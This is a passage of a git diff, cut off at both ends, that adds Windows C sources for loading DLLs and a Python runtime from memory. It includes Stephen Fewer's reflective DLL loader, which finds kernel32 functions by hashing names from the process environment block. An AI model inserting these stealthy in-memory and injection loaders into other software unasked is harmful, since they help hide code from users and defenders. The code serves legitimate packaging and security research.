(end > start) { + WORD entryName; + middle = (start + end) >> 1; + entryName = (WORD) entries[middle].Name; + if (check < entryName) { + end = (end != middle ? middle : middle-1); + } else if (check > entryName) { + start = (start != middle ? middle : middle+1); + } else { + result = &entries[middle]; + break; + } + } + } else { + LPCWSTR searchKey; + size_t searchKeyLen = _tcslen(key); +#if defined(UNICODE) + searchKey = key; +#else + // Resource names are always stored using 16bit characters, need to + // convert string we search for. +#define MAX_LOCAL_KEY_LENGTH 2048 + // In most cases resource names are short, so optimize for that by + // using a pre-allocated array. + wchar_t _searchKeySpace[MAX_LOCAL_KEY_LENGTH+1]; + LPWSTR _searchKey; + if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) { + size_t _searchKeySize = (searchKeyLen + 1) * sizeof(wchar_t); + _searchKey = (LPWSTR) malloc(_searchKeySize); + if (_searchKey == NULL) { + SetLastError(ERROR_OUTOFMEMORY); + return NULL; + } + } else { + _searchKey = &_searchKeySpace[0]; + } + + mbstowcs(_searchKey, key, searchKeyLen); + _searchKey[searchKeyLen] = 0; + searchKey = _searchKey; +#endif + start = 0; + end = resources->NumberOfNamedEntries; + while (end > start) { + int cmp; + PIMAGE_RESOURCE_DIR_STRING_U resourceString; + middle = (start + end) >> 1; + resourceString = (PIMAGE_RESOURCE_DIR_STRING_U) (((char *) root) + (entries[middle].Name & 0x7FFFFFFF)); + cmp = wcsnicmp(searchKey, resourceString->NameString, resourceString->Length); + if (cmp == 0) { + // Handle partial match + cmp = searchKeyLen - resourceString->Length; + } + if (cmp < 0) { + end = (middle != end ? middle : middle-1); + } else if (cmp > 0) { + start = (middle != start ? middle : middle+1); + } else { + result = &entries[middle]; + break; + } + } +#if !defined(UNICODE) + if (searchKeyLen > MAX_LOCAL_KEY_LENGTH) { + free(_searchKey); + } +#undef MAX_LOCAL_KEY_LENGTH +#endif + } + + return result; +} + +HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE module, LPCTSTR name, LPCTSTR type, WORD language) +{ + unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase; + PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE) module, IMAGE_DIRECTORY_ENTRY_RESOURCE); + PIMAGE_RESOURCE_DIRECTORY rootResources; + PIMAGE_RESOURCE_DIRECTORY nameResources; + PIMAGE_RESOURCE_DIRECTORY typeResources; + PIMAGE_RESOURCE_DIRECTORY_ENTRY foundType; + PIMAGE_RESOURCE_DIRECTORY_ENTRY foundName; + PIMAGE_RESOURCE_DIRECTORY_ENTRY foundLanguage; + if (directory->Size == 0) { + // no resource table found + SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND); + return NULL; + } + + if (language == DEFAULT_LANGUAGE) { + // use language from current thread + language = LANGIDFROMLCID(GetThreadLocale()); + } + + // resources are stored as three-level tree + // - first node is the type + // - second node is the name + // - third node is the language + rootResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress); + foundType = _MemorySearchResourceEntry(rootResources, rootResources, type); + if (foundType == NULL) { + SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND); + return NULL; + } + + typeResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress + (foundType->OffsetToData & 0x7fffffff)); + foundName = _MemorySearchResourceEntry(rootResources, typeResources, name); + if (foundName == NULL) { + SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND); + return NULL; + } + + nameResources = (PIMAGE_RESOURCE_DIRECTORY) (codeBase + directory->VirtualAddress + (foundName->OffsetToData & 0x7fffffff)); + foundLanguage = _MemorySearchResourceEntry(rootResources, nameResources, (LPCTSTR) (uintptr_t) language); + if (foundLanguage == NULL) { + // requested language not found, use first available + if (nameResources->NumberOfIdEntries == 0) { + SetLastError(ERROR_RESOURCE_LANG_NOT_FOUND); + return NULL; + } + + foundLanguage = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (nameResources + 1); + } + + return (codeBase + directory->VirtualAddress + (foundLanguage->OffsetToData & 0x7fffffff)); +} + +DWORD MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource) +{ + PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource; + if (entry == NULL) { + return 0; + } + + return entry->Size; +} + +LPVOID MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource) +{ + unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase; + PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource; + if (entry == NULL) { + return NULL; + } + + return codeBase + entry->OffsetToData; +} + +int +MemoryLoadString(HMEMORYMODULE module, UINT id, LPTSTR buffer, int maxsize) +{ + return MemoryLoadStringEx(module, id, buffer, maxsize, DEFAULT_LANGUAGE); +} + +int +MemoryLoadStringEx(HMEMORYMODULE module, UINT id, LPTSTR buffer, int maxsize, WORD language) +{ + HMEMORYRSRC resource; + PIMAGE_RESOURCE_DIR_STRING_U data; + DWORD size; + if (maxsize == 0) { + return 0; + } + + resource = MemoryFindResourceEx(module, MAKEINTRESOURCE((id >> 4) + 1), RT_STRING, language); + if (resource == NULL) { + buffer[0] = 0; + return 0; + } + + data = (PIMAGE_RESOURCE_DIR_STRING_U) MemoryLoadResource(module, resource); + id = id & 0x0f; + while (id--) { + data = (PIMAGE_RESOURCE_DIR_STRING_U) (((char *) data) + (data->Length + 1) * sizeof(WCHAR)); + } + if (data->Length == 0) { + SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND); + buffer[0] = 0; + return 0; + } + + size = data->Length; + if (size >= (DWORD) maxsize) { + size = maxsize; + } else { + buffer[size] = 0; + } +#if defined(UNICODE) + wcsncpy(buffer, data->NameString, size); +#else + wcstombs(buffer, data->NameString, size); +#endif + return size; +} diff --git a/client/sources/MemoryModule.h b/client/sources/MemoryModule.h new file mode 100644 index 00000000..c19255cd --- /dev/null +++ b/client/sources/MemoryModule.h @@ -0,0 +1,123 @@ +/* + * Memory DLL loading code + * Version 0.0.4 + * + * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de + * http://www.joachim-bauch.de + * + * The contents of this file are subject to the Mozilla Public License Version + * 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is MemoryModule.h + * + * The Initial Developer of the Original Code is Joachim Bauch. + * + * Portions created by Joachim Bauch are Copyright (C) 2004-2015 + * Joachim Bauch. All Rights Reserved. + * + */ + +#ifndef __MEMORY_MODULE_HEADER +#define __MEMORY_MODULE_HEADER + +#include + +typedef void *HMEMORYMODULE; + +typedef void *HMEMORYRSRC; + +typedef void *HCUSTOMMODULE; + +#ifdef __cplusplus +extern "C" { +#endif + +typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *); +typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *); +typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *); + +/** + * Load EXE/DLL from memory location. + * + * All dependencies are resolved using default LoadLibrary/GetProcAddress + * calls through the Windows API. + */ +HMEMORYMODULE MemoryLoadLibrary(const void *); + +/** + * Load EXE/DLL from memory location using custom dependency resolvers. + * + * Dependencies will be resolved using passed callback methods. + */ +HMEMORYMODULE MemoryLoadLibraryEx(const void *, + CustomLoadLibraryFunc, + CustomGetProcAddressFunc, + CustomFreeLibraryFunc, + void *); + +/** + * Get address of exported method. Supports loading both by name and by + * ordinal value. + */ +FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR); + +/** + * Free previously loaded EXE/DLL. + */ +void MemoryFreeLibrary(HMEMORYMODULE); + +/** + * Execute entry point (EXE only). The entry point can only be executed + * if the EXE has been loaded to the correct base address or it could + * be relocated (i.e. relocation information have not been stripped by + * the linker). + * + * Important: calling this function will not return, i.e. once the loaded + * EXE finished running, the process will terminate. + * + * Returns a negative value if the entry point could not be executed. + */ +int MemoryCallEntryPoint(HMEMORYMODULE); + +/** + * Find the location of a resource with the specified type and name. + */ +HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR); + +/** + * Find the location of a resource with the specified type, name and language. + */ +HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD); + +/** + * Get the size of the resource in bytes. + */ +DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC); + +/** + * Get a pointer to the contents of the resource. + */ +LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC); + +/** + * Load a string resource. + */ +int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int); + +/** + * Load a string resource with a given language. + */ +int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD); + +#ifdef __cplusplus +} +#endif + +#endif // __MEMORY_MODULE_HEADER diff --git a/client/sources/MyLoadLibrary.c b/client/sources/MyLoadLibrary.c new file mode 100644 index 00000000..7d45c013 --- /dev/null +++ b/client/sources/MyLoadLibrary.c @@ -0,0 +1,232 @@ +#ifdef STANDALONE +# include +# include "Python-version.h" +#else +# include "Python-dynload.h" +# include +#endif +#include + +#include "MemoryModule.h" +#include "MyLoadLibrary.h" + +//#define VERBOSE /* enable to print debug output */ + +/* + +Windows API: +============ + +HMODULE LoadLibraryA(LPCSTR) +HMODULE GetModuleHandleA(LPCSTR) +BOOL FreeLibrary(HMODULE) +FARPROC GetProcAddress(HMODULE, LPCSTR) + + +MemoryModule API: +================= + +HMEMORYMODULE MemoryLoadLibrary(void *) +void MemoryFreeLibrary(HMEMORYMODULE) +FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR) + +HMEMORYMODULE MemoryLoadLibrayEx(void *, + load_func, getproc_func, free_func, userdata) + +(there are also some resource functions which are not used here...) + +General API in this file: +========================= + +HMODULE MyLoadLibrary(LPCSTR, void *, userdata) +HMODULE MyGetModuleHandle(LPCSTR) +BOOL MyFreeLibrary(HMODULE) +FARPROC MyGetProcAddress(HMODULE, LPCSTR) + + */ + +/**************************************************************** + * A linked list of loaded MemoryModules. + */ +typedef struct tagLIST { + HCUSTOMMODULE module; + LPCSTR name; + struct tagLIST *next; + struct tagLIST *prev; + int refcount; +} LIST; + +static LIST *libraries; + +int level; + +static int dprintf(char *fmt, ...) +{ +#ifdef VERBOSE + va_list marker; + int i; + + va_start(marker, fmt); + for (i = 0; i < level; ++i) { + putchar(' '); + putchar(' '); + } + return vfprintf(stderr, fmt, marker) + 2*level; +#else + return 0; +#endif +} + +#define PUSH() level++ +#define POP() level-- + +/**************************************************************** + * Search for a loaded MemoryModule in the linked list, either by name + * or by module handle. + */ +static LIST *_FindMemoryModule(LPCSTR name, HMODULE module) +{ + LIST *lib = libraries; + while (lib) { + if (name && 0 == _stricmp(name, lib->name)) { + dprintf("_FindMemoryModule(%s, %p) -> %s[%d]\n", name, module, lib->name, lib->refcount); + return lib; + } else if (module == lib->module) { + dprintf("_FindMemoryModule(%s, %p) -> %s[%d]\n", name, module, lib->name, lib->refcount); + return lib; + } else { + lib = lib->next; + } + } + return NULL; +} + +/**************************************************************** + * Insert a MemoryModule into the linked list of loaded modules + */ +static LIST *_AddMemoryModule(LPCSTR name, HCUSTOMMODULE module) +{ + LIST *entry = (LIST *)malloc(sizeof(LIST)); + entry->name = _strdup(name); + entry->module = module; + entry->next = libraries; + entry->prev = NULL; + entry->refcount = 1; + libraries = entry; + dprintf("_AddMemoryModule(%s, %p) -> %p[%d]\n", + name, module, entry, entry->refcount); + return entry; +} + +/**************************************************************** + * Helper functions for MemoryLoadLibraryEx + */ +static FARPROC _GetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata) +{ + return MyGetProcAddress(module, name); +} + +static void _FreeLibrary(HCUSTOMMODULE module, void *userdata) +{ + MyFreeLibrary(module); +} + +static HCUSTOMMODULE _LoadLibrary(LPCSTR filename, void *userdata) +{ + HCUSTOMMODULE result; + LIST *lib; + dprintf("_LoadLibrary(%s, %p)\n", filename, userdata); + PUSH(); + lib = _FindMemoryModule(filename, NULL); + if (lib) { + lib->refcount += 1; + POP(); + dprintf("_LoadLibrary(%s, %p) -> %s[%d]\n\n", + filename, userdata, lib->name, lib->refcount); + return lib->module; + } + if (userdata) { + PyObject *findproc = (PyObject *)userdata; + PyObject *res = PyObject_CallFunction(findproc, "s", filename); + if (res && PyString_AsString(res)) { + result = MemoryLoadLibraryEx(PyString_AsString(res), + _LoadLibrary, _GetProcAddress, _FreeLibrary, + userdata); + Py_DECREF(res); + if (result) { + lib = _AddMemoryModule(filename, result); + POP(); + dprintf("_LoadLibrary(%s, %p) -> %s[%d]\n\n", + filename, userdata, lib->name, lib->refcount); + return lib->module; + } else { + dprintf("_LoadLibrary(%s, %p) failed with error %d\n", + filename, userdata, GetLastError()); + } + } else { + PyErr_Clear(); + } + } + result = (HCUSTOMMODULE)LoadLibraryA(filename); + POP(); + dprintf("LoadLibraryA(%s) -> %p\n\n", filename, result); + return result; +} + +/**************************************************************** + * Public functions + */ +HMODULE MyGetModuleHandle(LPCSTR name) +{ + LIST *lib; + lib = _FindMemoryModule(name, NULL); + if (lib) + return lib->module; + return GetModuleHandle(name); +} + +HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *userdata) +{ + if (userdata) { + HCUSTOMMODULE mod = _LoadLibrary(name, userdata); + if (mod) + return mod; + } else if (bytes) { + HCUSTOMMODULE mod = MemoryLoadLibraryEx(bytes, + _LoadLibrary, + _GetProcAddress, + _FreeLibrary, + userdata); + if (mod) { + LIST *lib = _AddMemoryModule(name, mod); + return lib->module; + } + } + return LoadLibrary(name); +} + +BOOL MyFreeLibrary(HMODULE module) +{ + LIST *lib = _FindMemoryModule(NULL, module); + if (lib) { + if (--lib->refcount == 0) + MemoryFreeLibrary(module); + return TRUE; + } else + return FreeLibrary(module); +} + +FARPROC MyGetProcAddress(HMODULE module, LPCSTR procname) +{ + FARPROC proc; + LIST *lib = _FindMemoryModule(NULL, module); + if (lib) { + dprintf("MyGetProcAddress(%p, %p(%s))\n", module, procname, HIWORD(procname) ? procname : ""); + PUSH(); + proc = MemoryGetProcAddress(lib->module, procname); + POP(); + dprintf("MyGetProcAddress(%p, %p(%s)) -> %p\n", module, procname, HIWORD(procname) ? procname : "", proc); + return proc; + } else + return GetProcAddress(module, procname); +} diff --git a/client/sources/MyLoadLibrary.h b/client/sources/MyLoadLibrary.h new file mode 100644 index 00000000..ce8eb9ba --- /dev/null +++ b/client/sources/MyLoadLibrary.h @@ -0,0 +1,13 @@ +#ifndef GENERALLOADLIBRARY_H +#define GENERALLOADLIBRARY_H + +HMODULE MyLoadLibrary(LPCSTR, void *, void *); + +HMODULE MyGetModuleHandle(LPCSTR); + +BOOL MyFreeLibrary(HMODULE); + +FARPROC MyGetProcAddress(HMODULE, LPCSTR); + + +#endif diff --git a/client/sources/Python-dynload.c b/client/sources/Python-dynload.c new file mode 100644 index 00000000..f856aa33 --- /dev/null +++ b/client/sources/Python-dynload.c @@ -0,0 +1,97 @@ +/* **************** Python-dynload.c **************** */ +#include "Python-dynload.h" +#include +#include "MyLoadLibrary.h" +#include "MemoryModule.h" +#include "actctx.h" +#include + +struct IMPORT imports[] = { +#include "import-tab.c" + { NULL, NULL }, /* sentinel */ +}; + +void Py_XDECREF(PyObject *ob) +{ + static PyObject *tup; + if (tup == NULL) + tup = PyTuple_New(1); + /* Let the tuple take the refcount */ + PyTuple_SetItem(tup, 0, ob); + /* and overwrite it */ + PyTuple_SetItem(tup, 0, PyInt_FromLong(0)); +} + +void Py_XINCREF(PyObject *ob) +{ + if (ob) + Py_BuildValue("O", ob); +} + +int _load_python_FromFile(char *dllname) +{ + int i; + struct IMPORT *p = imports; + HMODULE hmod; + + // In some cases (eg, ISAPI filters), Python may already be + // in our process. If so, we don't want it to try and + // load a new one! (Actually, we probably should not even attempt + // to load an 'embedded' Python should GetModuleHandle work - but + // that is less clear than this straight-forward case) + // Get the basename of the DLL. + char *dllbase = dllname + strlen(dllname); + while (dllbase != dllname && *dllbase != '\\') + dllbase--; + if (*dllbase=='\\') + ++dllbase; + hmod = GetModuleHandle(dllbase); + if (hmod == NULL) + hmod = LoadLibrary(dllname); + if (hmod == NULL) { + return 0; + } + + for (i = 0; p->name; ++i, ++p) { + p->proc = (void (*)())GetProcAddress(hmod, p->name); + if (p->proc == NULL) { + OutputDebugString("undef symbol"); + fprintf(stderr, "undefined symbol %s -> exit(-1)\n", p->name); + return 0; + } + } + + return 1; +} + +int _load_python(char *dllname, char *bytes) +{ + int i; + struct IMPORT *p = imports; + HMODULE hmod; + ULONG_PTR cookie = 0; + if (!bytes) + return _load_python_FromFile(dllname); + + + cookie = _My_ActivateActCtx();//try some windows manifest magic... + //hmod = MemoryLoadLibrary(bytes); + hmod = MyLoadLibrary(dllname, bytes, NULL); + _My_DeactivateActCtx(cookie); + if (hmod == NULL) { + return 0; + } + + for (i = 0; p->name; ++i, ++p) { + //p->proc = (void (*)())MemoryGetProcAddress(hmod, p->name); + p->proc = (void (*)())MyGetProcAddress(hmod, p->name); + if (p->proc == NULL) { + OutputDebugString("undef symbol"); + fprintf(stderr, "undefined symbol %s -> exit(-1)\n", p->name); + return 0; + } + } + + return 1; +} + diff --git a/client/sources/Python-dynload.h b/client/sources/Python-dynload.h new file mode 100644 index 00000000..997d347a --- /dev/null +++ b/client/sources/Python-dynload.h @@ -0,0 +1,57 @@ +/* **************** Python-dynload.h **************** */ +#include "Python-version.h" + +typedef void *PyObject; +typedef void *PyCodeObject; + +typedef PyObject *(*PyCFunction)(PyObject *, PyObject *); + +typedef + enum {PyGILState_LOCKED, PyGILState_UNLOCKED} + PyGILState_STATE; +typedef struct { + char *ml_name; + PyCFunction ml_meth; + int ml_flags; + char *ml_doc; +} PyMethodDef; + +struct IMPORT { + char *name; + void (*proc)(); +}; +extern int _load_python(char *dllname, char *dllbytes); +extern struct IMPORT imports[]; + +#include "import-tab.h" + +extern void Py_XINCREF(PyObject *); +#define snprintf _snprintf +#define Py_DECREF(x) Py_XDECREF(x) +#define Py_INCREF(x) Py_XINCREF(x) + +extern void Py_XDECREF(PyObject *ob); + +#define METH_OLDARGS 0x0000 +#define METH_VARARGS 0x0001 +#define METH_KEYWORDS 0x0002 +/* METH_NOARGS and METH_O must not be combined with the flags above. */ +#define METH_NOARGS 0x0004 +#define METH_O 0x0008 + +/* METH_CLASS and METH_STATIC are a little different; these control + the construction of methods for a class. These cannot be used for + functions in modules. */ +#define METH_CLASS 0x0010 +#define METH_STATIC 0x0020 + +#define PyCFunction_New(ML, SELF) PyCFunction_NewEx((ML), (SELF), NULL) + +#define PyInt_Check(op) PyObject_IsInstance(op, &PyInt_Type) /* ??? */ +#define Py_None (&_Py_NoneStruct) + +#define DL_EXPORT(x) x + +#define Py_InitModule3(name, methods, doc) \ + Py_InitModule4(name, methods, doc, (PyObject *)NULL, \ + PYTHON_API_VERSION) diff --git a/client/sources/Python-version.h b/client/sources/Python-version.h new file mode 100644 index 00000000..42e9b167 --- /dev/null +++ b/client/sources/Python-version.h @@ -0,0 +1,15 @@ +#include +#if (PY_VERSION_HEX < 0x02050000) +# define PYTHON_API_VERSION 1012 + typedef int Py_ssize_t; +#else +# define PYTHON_API_VERSION 1013 +/* The check for _WIN64 must come first, because on win64 both _WIN64 and + * _WIN32 are defined! + */ +# if defined (_WIN64) + typedef __int64 Py_ssize_t; +# elif defined (_WIN32) + typedef int Py_ssize_t; +# endif +#endif diff --git a/client/sources/ReflectiveDllInjection.h b/client/sources/ReflectiveDllInjection.h new file mode 100644 index 00000000..921d5503 --- /dev/null +++ b/client/sources/ReflectiveDllInjection.h @@ -0,0 +1,52 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// + diff --git a/client/sources/ReflectiveLoader.c b/client/sources/ReflectiveLoader.c new file mode 100644 index 00000000..1ce1f54e --- /dev/null +++ b/client/sources/ReflectiveLoader.c @@ -0,0 +1,496 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword( 0x30 ); +#else WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the madule name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || 